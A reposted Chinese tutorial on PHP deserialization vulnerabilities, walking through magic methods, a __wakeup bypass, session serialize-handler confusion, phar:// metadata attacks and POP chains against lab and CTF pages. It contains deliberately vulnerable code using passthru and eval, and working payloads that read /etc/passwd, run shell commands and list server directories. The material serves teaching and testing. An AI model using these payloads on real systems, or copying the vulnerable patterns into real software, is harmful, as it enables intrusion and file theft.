浅谈PHP反序列化漏洞原理

喝水不打嗝 發表於 2019-9-25 14:27:00

<h1 id="序列化与反序列化">序列化与反序列化</h1>
<img src="https://upload-images.jianshu.io/upload_images/6230889-41c349a02dccbfea.PNG?imageMogr2/auto-orient/strip%7CimageView2/2/w/662/format/webp" alt="img" loading="lazy">
序列化用途：方便于对象在网络中的传输和存储
<h2 id="0x01-php反序列化漏洞">0x01 php反序列化漏洞</h2>
在PHP应用中，序列化和反序列化一般用做缓存，比如session缓存，cookie等。
常见的序列化格式：
<ul>
<li>二进制格式</li>
<li>字节数组</li>
<li>json字符串</li>
<li>xml字符串</li>
</ul>
<blockquote>
序列化就是将对象转换为流，利于储存和传输的格式
反序列化与序列化相反，将流转换为对象
例如：json序列化、XML序列化、二进制序列化、SOAP序列化
</blockquote>
而php的序列化和反序列化基本都围绕着 <code>serialize()</code>，<code>unserialize()</code>这两个函数
<h3 id="php对象中常见的魔术方法">php对象中常见的魔术方法</h3>
<pre><code class="language-php">__construct() // 当一个对象创建时被调用，
__destruct() // 当一个对象销毁时被调用，
__toString() // 当一个对象被当作一个字符串被调用。
__wakeup() // 使用unserialize()会检查是否存在__wakeup()方法，如果存在则会先调用，预先准备对象需要的资源
__sleep() // 使用serialize()会检查是否存在__wakeup()方法，如果存在则会先调用，预先准备对象需要的资源
__destruct() // 对象被销毁时触发
__call() // 在对象上下文中调用不可访问的方法时触发
__callStatic() // 在静态上下文中调用不可访问的方法时触发
__get() // 用于从不可访问的属性读取数据
__set() // 用于将数据写入不可访问的属性
__isset() // 在不可访问的属性上调用isset()或empty()触发
__unset() // 在不可访问的属性上使用unset()时触发
__toString() // 把类当作字符串使用时触发,返回值需要为字符串
__invoke() // 当脚本尝试将对象调用为函数时触发
</code></pre>
<h3 id="php序列化数据">PHP序列化数据</h3>
测试脚本 test.php
<pre><code class="language-php"><?php
class User
{
 public $name = '';
 public $age = 0;
 public $addr = '';
 public function __toString()
 {
 return '用户名: '.$this->name.' 年龄: '.$this->age.' 地址: '.$this->addr;
 }
}
$user = new User();
$user->name = 'default';
$user->age = '0';
$user->addr = 'default';
echo serialize($user);
?>
</code></pre>
这是一个对象通过serialize()方法序列化后的格式
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220739899-1763371109.png" alt="" loading="lazy">
<pre><code class="language-tsx">a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
</code></pre>
当一个页面发现传递参数类似对象序列化的数据格式，可以测试是否存在反序列化漏洞
<h3 id="php对象中属性的访问级别">php对象中属性的访问级别</h3>
测试 test.php
<pre><code class="language-php">class User
{
private $name = 'default';
public $age = 18;
protected $addr = 'default';
public function __toString()
 {
 return '用户名: '.$this->name.' 年龄: '.$this->age.' 地址: '.$this->addr;
}
}
$user = new User();
echo serialize($user);
</code></pre>
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220747548-2138993199.png" alt="" loading="lazy">
<code>private</code> 的属性序列化后变成 <code><0x00>对象<0x00>属性名</code>
<code>public</code> 没有任何变化
<code>protected</code> 的属性序列化后变成 <code><0x00>*<0x00>属性名</code>
特殊十六进制<code><0x00></code>表示一个坏字节，就是空字节
下面测试正确的传值姿势进行反序列化
代码后添加几句
<pre><code class="language-php">$obj = unserialize($_POST['usr_serialized']);
echo $obj;
</code></pre>
先是测试普通的访问形式来传值
<code>usr_serialized=O:4:"User":3:{s:4:"name";s:5:"admin";s:3:"age";i:22;s:4:"addr";s:8:"xxxxxxxx";}</code>
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220755184-973034679.png" alt="" loading="lazy">
<code>public</code>被正常修改，private、protected无法被对象外修改
如何才能从外部修改被保护的属性值呢？
将 <code><0x00></code>的位置用 <code>%00</code>代替
<code>usr_serialized=O:4:"User":3:{s:10:"%00User%00name";s:5:"admin";s:3:"age";i:22;s:7:"%00*%00addr";s:8:"xxxxxxxx";}</code>
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220801054-1365587398.png" alt="" loading="lazy">
可以发现即使是被保护的属性也会被外部修改
<h3 id="php反序列化演示">php反序列化演示</h3>
假设页面有个接口参数可控
<pre><code class="language-php"><?php
class FileClass
{
 public $filename = 'error.log';
 public function __toString()
 {
 return file_get_contents($this->filename);
 }
}
class User
{
 public $name = '';
 public $age = 0;
 public $addr = '';

 public function __toString()
 {
 return '用户名: '.$this->name.' 年龄: '.$this->age.' 地址: '.$this->addr;
 }
}
# 参数可控
$obj = unserialize($_POST['usr_serialized']);
echo $obj;
?>
</code></pre>
测试页面是通过post来传递参数，实战环境不一定在post中，参数可能会被加密编码过
先传递一个 <code>O:4:"User":3:{s:4:"name";s:4:"user";s:3:"age";s:2:"23";s:4:"addr";s:8:"xxxxxxxx";}</code>
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220808644-1891902874.png" alt="" loading="lazy">
通过修改参数，判断参数是否可变
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220813115-1594934212.png" alt="" loading="lazy">
参数可变
<h3 id="反序列化漏洞利用">反序列化漏洞利用</h3>
<blockquote>
漏洞形成条件
<ol>
<li>参数可变</li>
<li>有可利用函数</li>
</ol>
</blockquote>
假设存在可利用函数
测试代码 test.php
<pre><code class="language-php"><?php
class FileClass
{
 public $filename = 'error.log';
 public function __toString()
 {
 # 读取文件函数
 return file_get_contents($this->filename);
 }
}
class User
{
 public $name = '';
 public $age = 0;
 public $addr = '';

 public function __toString()
 {
 return '用户名: '.$this->name.' 年龄: '.$this->age.' 地址: '.$this->addr;
 }
}
# 参数可控
$obj = unserialize($_POST['usr_serialized']);
echo $obj;

?>
</code></pre>
可知存在一个<code>file_get_contents()</code>文件读取函数。
构造恶意参数 <code>O:9:"FileClass":1:{s:8:"filename";s:8:"test.php";}</code>
将之前User的接口改为读取文件的类构造参数，FileClass只有一个filename属性，只需要传递要读取的文件名就行
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190919150011062-152300612.png" alt="" loading="lazy">
用同样的参数名传递恶意参数，导致当前目录的<code>test.php</code>被读取，也可以尝试读取其他文件
读取<code>test.txt</code>
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220821121-939783325.png" alt="" loading="lazy">
尝试读取<code>/etc/passwd</code>
构造参数 <code>O:9:"FileClass":1:{s:8:"filename";s:11:"/etc/passwd";}</code>
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220825899-1135348166.png" alt="" loading="lazy">
<h2 id="0x02-绕过-__wakeup">0x02 绕过 __wakeup()</h2>
__wakeup() 类似一个预处理的作用，在执行unserialize()时会检测是否存在wakeup，存在则先执行 __wakeup()
<h4 id="绕过方式">绕过方式</h4>
这种方式绕过是由PHP的版本漏洞造成的
绕过<code>__wakeup()</code>只需要将参数的个数改成超过现有的参数个数即可
<h4 id="影响版本">影响版本</h4>
PHP5 < 5.6.25 
PHP7 < 7.0.10
<h4 id="5640和5538测试对比">5.6.40和5.5.38测试对比</h4>
测试页面 test.php
测试版本 php 5.6.40
测试系统 Linux
IP ：192.168.80.11
<pre><code class="language-php"><?php
// ...省略其他代码
class CMDClass{
public $cmd = "";
function __wakeup(){
if(strpos($this->cmd,'ls')!==false){
$this->cmd = " ";
}
}
function __destruct(){
passthru($this->cmd,$result);
}
function __toString(){
return "";
}
}
$obj = unserialize($_POST['usr_serialized']);
echo $obj;

?>
</code></pre>
这里 __wakeup() 中，判断如果输入的cmd参数中存在 "ls" 的字符串，则将cmd置为空格。
构造参数 <code>O:8:"CMDClass":1:{s:3:"cmd";s:2:"ls";}</code>
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220833369-437255458.png" alt="" loading="lazy">
将参数的个数改成超过现有的参数个数进行绕过
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220838115-1694783520.png" alt="" loading="lazy">
更新后的版本，无法绕过会产生报错
换一台虚拟机进行测试
测试页面 test.php
测试版本 php 5.5.38
测试系统 Windows 7
IP ：192.168.80.128
测试页面 php_unser.php
<pre><code class="language-php"><?php
// ...其余都一样
function __wakeup(){
# 因为win7没有ls命令，所以这里来限制ipconfig命令
if(strpos($this->cmd,'ip')!==false){
$this->cmd = "echo 非法输入";
}
}
?>
</code></pre>
构造参数 <code>O:8:"CMDClass":1:{s:3:"cmd";s:8:"ipconfig";}</code>
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220844048-1728562340.png" alt="" loading="lazy">
发现被__wakeup()过滤了
修改参数个数进行绕过 <code>O:8:"CMDClass":3:{s:3:"cmd";s:8:"ipconfig";}</code>
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220849009-1357940254.png" alt="" loading="lazy">
经测试可以绕过
<h2 id="0x03-session反序列化">0x03 Session反序列化</h2>
<blockquote>
php中的session内容不是存放在内存中，是以文件形式存在。存储方式就是由配置项session.save_handler来进行确定的，默认是以文件的方式存储。存储的文件是以<code>sess_sessionid</code>来进行命名的，文件的内容就是session值的序列化之后的内容。
</blockquote>
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220855753-2118196836.png" alt="" loading="lazy">
<h3 id="存储方式">存储方式</h3>
<ul>
<li><code>php_binary</code>存储方式是，键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值</li>
<li><code>php</code>存储方式是，键名+竖线+经过serialize()函数序列处理的值</li>
<li><code>php_serialize(php>5.5.4)</code>存储方式是，经过serialize()函数序列化处理的值</li>
</ul>
设置格式
<code>ini_set('session.serialize_handler', '需要设置的引擎');</code>
<h4 id="默认下session存储为-php-存储方式">默认下session存储为 <code>php</code> 存储方式</h4>
<pre><code class="language-php"><?php
session_start();
$_SESSION['name'] = 'admin';
echo "session_id: ".session_id()." ";
passthru("cat /tmp/sess_".session_id());
?>
// session内容 name|s:5:"admin";
</code></pre>
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220905274-217303997.png" alt="" loading="lazy">
<h4 id="php_serialize引擎"><code>php_serialize</code>引擎</h4>
<pre><code class="language-php">ini_set("session.serialize_handler","php_serialize");
session_start();
// ...
// session内容 a:1:{s:4:"name";s:5:"admin";}
</code></pre>
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220911878-24184976.png" alt="" loading="lazy">
<h4 id="php_binary引擎"><code>php_binary</code>引擎</h4>
<pre><code class="language-php">ini_set("session.serialize_handler","php_binary");
session_start();
// ...
// session内容
</code></pre>
ASCII的值为4的字符无法打印显示
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220917883-667122589.png" alt="" loading="lazy">
<h3 id="漏洞原理">漏洞原理</h3>
当session使用不当，如php反序列化储存时使用引擎和序列化使用的引擎不一样，就会形成漏洞。
<h3 id="漏洞复现">漏洞复现</h3>
本次测试，以 <code>php</code>引擎和 <code>php_serialize</code>引擎混合引发的漏洞
测试页面1 <code>target1.php</code> --> <code>php_serialize</code>引擎
<pre><code class="language-php"><?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["name"]=$_GET["name"];

if ($_SESSION["name"] !== null && $_SESSION["name"] !== "") {
echo "欢迎来到第一个页面，Session已保存！";
}
?>
</code></pre>
测试页面2 <code>target2.php</code> --> <code>php</code>引擎
<pre><code class="language-php"><?php
ini_set('session.serialize_handler','php');
session_start();
// 开启session之后无需调用会自动加载
class Admin
{
var $name;
function __construct()
{
$this->name = "default";
}
function __destruct(){
 // 执行命令
passthru($this->name);
}
}
?>
</code></pre>
通过向 <code>target1.php</code>传递一个name为 <code>admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}</code>
然后在访问 <code>target2.php</code>，会发现之前传递参数中的 <code>cat /etc/passwd</code>命令被执行
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220935854-1284648730.png" alt="" loading="lazy">
这是发生了什么？！！
漏洞触发流程
首先通过访问 <code>target1.php</code>并且传递了参数 <code>name=admin|O:5:"Admin":1:{s:4:"name";s:15:"cat%20/etc/passwd";}</code>
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220941684-1281225372.png" alt="" loading="lazy">
而<code>target1.php</code>页面是<code>php_serialize</code>引擎来存储session，所以session保存后的内容变成了 <code>a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}</code>
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220946243-1153556731.png" alt="" loading="lazy">
然后当访问<code>target2.php</code>时，会用第二个页面的 <code>php</code>引擎来解析session，通过 <code>|</code>来分割字符串取出对应的值；
Session值
<code> a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}</code>
分解后，<code> a:1:{s:4:"name";s:48:"admin</code>被当作session的key值 
<code>O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}</code>被解析成value
Session本身就是序列化和反序列化的存储方式
通过session将<code>O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}</code>反序列化
就会生成 <code>Admin</code>对象和一个属性值为 <code>cat /etc/passwd</code>的name
再通过对象的销毁魔术方法<code>__destruct()</code>就会形成恶意的命令执行
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220955923-467157388.png" alt="" loading="lazy">
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220959608-225726772.png" alt="" loading="lazy">
<h3 id="ctf题实战">CTF题实战</h3>
为了符合题意需要将 <code>php.ini</code>中的 serialize_handler 修改一下
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221004414-564554919.png" alt="" loading="lazy">
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221009493-1481923921.png" alt="" loading="lazy">
题目测试页面 test3.php
<pre><code class="language-php"><?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
 $this->mdzz = 'phpinfo();';
}

function __destruct()
{
 eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('test3.php'));
}
?>
</code></pre>
访问 <code><http://192.168.80.11/test3.php?phpinfo=phpinfo()></code>
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221017448-751867177.png" alt="" loading="lazy">
符合上面将的漏洞环境
通过源码可以看出并没有可以传入参数的地方
不过在phpinfo中可以看到 session.upload_progress.enabled 是打开的
<blockquote>
Session 上传进度 
当 session.upload_progress.enabled INI 选项开启时，PHP 能够在每一个文件上传时监测上传进度。这个信息对上传请求自身并没有什么帮助，但在文件上传时应用可以发送一个POST请求到终端（例如通过XHR）来检查这个状态 
当一个上传在处理中，同时POST一个与INI中设置的session.upload_progress.name同名变量时，上传进度可以在$_SESSION中获得。当PHP检测到这种POST请求时，它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值
</blockquote>
构造一个post表单
<pre><code class="language-html"><form action="http://192.168.80.11/test3.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
<input type="file" name="file">
<input type="submit">
</form>
</code></pre>
上传一个文件，抓包分析
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221025980-284914318.png" alt="" loading="lazy">
修改 filename 的值为 <code>|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}</code>
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221031659-2118265938.png" alt="" loading="lazy">
session值先是以php_serialize引擎序列化后储存
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221036373-580603789.png" alt="" loading="lazy">
后输出页面被 php引擎解析触发反序列化漏洞
构造payload <code>|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:26:\"print_r(scandir(\"/tmp/\"));\";}</code>
可以遍历 /tmp/ 内的所有文件
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190919150123879-1366682854.png" alt="" loading="lazy">
<h2 id="0x04-反序列化绕过正则">0x04 反序列化绕过正则</h2>
测试页面源码 test4.php
<pre><code class="language-php"><?php
@error_reporting(1);
include 'flag.php';
echo $_GET['data'];
class baby
{
public $file;
function __toString()
{
 if(isset($this->file))
 {
 $filename = "./{$this->file}";
 if (file_get_contents($filename))
 {
 return file_get_contents($filename);
 }
 }
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/:\d+:/i',$data,$matches);
if(count($matches))
{
 die('Hacker!');
}
else
{
 $good = unserialize($data);
 echo $good;
}
}
else
{
highlight_file("./test4.php");
}
?>
</code></pre>
首先访问 <code><http://192.168.80.11/test4.php></code>
通过源码可以看出存在一个反序列化漏洞
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221045073-1768523500.png" alt="" loading="lazy">
根据之前的经验直接构造一个序列化payload <code>O:4:"baby":1:{s:4:"file";s:9:"index.php";}</code>
但是由于存在正则表达式 <code>preg_match('/:\d+:/i',$data,$matches);</code> 对序列化字符串做了限制导致触发防御
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221052144-554185777.png" alt="" loading="lazy">
接下来尝试绕过正则表达式，前面的O:4:符合正则的条件，因此将其绕过即可。利用符号+就不会正则匹配到数字，新的payload 为<code>O:+4:"baby":1:{s:4:"file";s:9:"index.php";}</code>
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221056033-858656369.png" alt="" loading="lazy">
并没有什么变化的原因是，在url中 <code>+</code> 号会被解释为空格，所以需要将 <code>+</code> url编码后加入
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221059790-2082989401.png" alt="" loading="lazy">
尝试访问 flag.php
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221103724-1975903846.png" alt="" loading="lazy">
绕过正则表达式
<blockquote>
实战中需根据正则表达式规则来进行绕过
</blockquote>
<h2 id="0x05-phar反序列化">0x05 phar反序列化</h2>
<blockquote>
phar伪协议触发php反序列化
</blockquote>
<h3 id="phar协议">phar://协议</h3>
可以将多个文件归入一个本地文件夹，也可以包含一个文件
<h3 id="phar文件">phar文件</h3>
PHAR（PHP归档）文件是一种打包格式，通过将许多PHP代码文件和其他资源（例如图像，样式表等）捆绑到一个归档文件中来实现应用程序和库的分发。所有PHAR文件都使用.phar作为文件扩展名，PHAR格式的归档需要使用自己写的PHP代码。
<h3 id="案例演示">案例演示</h3>
假设已知页面 test5.php
<pre><code class="language-php"><?php
if(isset($_GET['filename'])){
$filename=$_GET['filename'];
class MyClass{
 var $output='echo "nice"';
 function __destruct(){
 eval($this->output);
 }
}
 var_dump(file_exists($filename));
 file_exists($filename);
}
else{
highlight_file(__FILE__);
}
</code></pre>
接下来根据源码中的类来构造一个phar文件
创建一个 <code>phar.php</code>
<pre><code class="language-php"><?php
class MyClass{
var $output='phpinfo();';
function __destruct(){
eval($this->output);
}
}

@unlink("./myclass.phar");
$a=new MyClass;
$a->output='phpinfo();';
$phar = new Phar("./myclass.phar"); // 后缀必须为 phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a); // 将自定义的meta-data存入manifest
$phar->addFromString("test.txt","test"); // 添加压缩文件
// 签名自动计算
$phar->stopBuffering();
?>
</code></pre>
通过访问或者 php 编译去生成 phar文件
注意：必须要在php.ini中设置 <code>phar.readonly = Off</code> 不然无法生存phar文件
通过查看，其中有一串序列化字符串正是和已知页面源码中类相对应
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221113904-229385016.png" alt="" loading="lazy">
可以通过上传文件等方式将phar文件放到服务器上
先通过正常url <code>http://192.168.80.11/test5.php?filename=index.php</code> 访问
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221120363-338824366.png" alt="" loading="lazy">
找到phar文件的路径
利用 phar:// 协议来访问
<code>http://192.168.80.11/test5.php?filename=phar://myclass.phar</code>
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221128129-1691744821.png" alt="" loading="lazy">
可以利用phar文件中存在的序列化字符串来导致页面反序列化漏洞的
<h2 id="0x06-pop链构造">0x06 POP链构造</h2>
测试页面 pop.php
<pre><code class="language-php"><?php
class start_gg
{
 public $mod1;
 public $mod2;
 public function __destruct()
 {
 $this->mod1->test1();
 }
}
class Call
{
 public $mod1;
 public $mod2;
 public function test1()
{
 $this->mod1->test2();
}
}
class funct
{
 public $mod1;
 public $mod2;
 public function __call($test2,$arr)
 {
 $s1 = $this->mod1;
 $s1();
 }
}
class func
{
 public $mod1;
 public $mod2;
 public function __invoke()
 {
 $this->mod2 = "字符串拼接".$this->mod1;
 }
}
class string1
{
 public $str1;
 public $str2;
 public function __toString()
 {
 $this->str1->get_flag();
 return "1";
 }
}
class GetFlag
{
 public function get_flag()
 {
 echo sprintf("flag{%s}","P0p_S2EreaWqfFFwiOk1mttT");
 }
}
$a = $_GET['string'];
unserialize($a);
?>
</code></pre>
解题思路：
<ol>
<li>首先发现找到flag，发现flag需要通过<code>GetFlag</code>类中<code>get_flag()</code>函数输出，然后可以看到<code>string1</code>类中的<code>__toString()</code>方法可以直接调用<code>get_flag()</code>方法，而<code>str1</code>需要赋值为<code>GetFlag</code>。</li>
<li>发现类<code>func</code>中存在<code>__invoke</code>方法执行了字符串拼接，需要把<code>func</code>当成函数使用自动调用<code>__invoke</code>然后把<code>$mod1</code>赋值为<code>string1</code>的对象与<code>$mod2</code>拼接。</li>
<li>在<code>funct</code>中找到了函数调用，需要把<code>mod1</code>赋值为<code>func</code>类的对象，又因为函数调用在<code>__call</code>方法中，且参数为<code>$test2</code>,即无法调用<code>test2</code>方法时自动调用 <code>__call</code>方法；</li>
<li>在<code>Call</code>中的<code>test1</code>方法中存在<code>$this->mod1->test2();</code>，需要把<code>$mod1</code>赋值为<code>funct</code>的对象，让<code>__call</code>自动调用。</li>
<li>查找<code>test1</code>方法的调用点，在<code>start_gg</code>中发现<code>$this->mod1->test1();</code>，把<code>$mod1</code>赋值为<code>start_gg</code>类的对象，等待<code>__destruct()</code>自动调用。</li>
</ol>
通过构造pop链输出payload
<pre><code class="language-php"><?php
class start_gg
{
 public $mod1;
 public $mod2;
 public function __construct()
 {
 $this->mod1 = new Call();//把$mod1赋值为Call类对象
 }
 public function __destruct()
 {
 $this->mod1->test1();
 }
}
class Call
{
 public $mod1;
 public $mod2;
 public function __construct()
 {
 $this->mod1 = new funct();//把 $mod1赋值为funct类对象
 }
 public function test1()
 {
 $this->mod1->test2();
 }
}

class funct
{
 public $mod1;
 public $mod2;
 public function __construct()
 {
 $this->mod1= new func();//把 $mod1赋值为func类对象

 }
 public function __call($test2,$arr)
 {
 $s1 = $this->mod1;
 $s1();
 }
}
class func
{
 public $mod1;
 public $mod2;
 public function __construct()
 {
 $this->mod1= new string1();//把 $mod1赋值为string1类对象

 }
 public function __invoke()
 {
 $this->mod2 = "字符串拼接".$this->mod1;
 }
}
class string1
{
 public $str1;
 public function __construct()
 {
 $this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象
 }
 public function __toString()
 {
 $this->str1->get_flag();
 return "1";
 }
}
class GetFlag
{
 public function get_flag()
 {
 echo "flag:"."xxxxxxxxxxxx";
 }
}
$b = new start_gg;//构造start_gg类对象$b
echo serialize($b);
</code></pre>
执行后输出 payload <code>O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}</code>
将payload带入到参数发送请求，输出flag
<img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221157714-832595115.png" alt="" loading="lazy"> 
来源：https://www.cnblogs.com/r0ckysec/p/11545962.html

頁: [1]

琼殿技术论坛's Archiver

浅谈PHP反序列化漏洞原理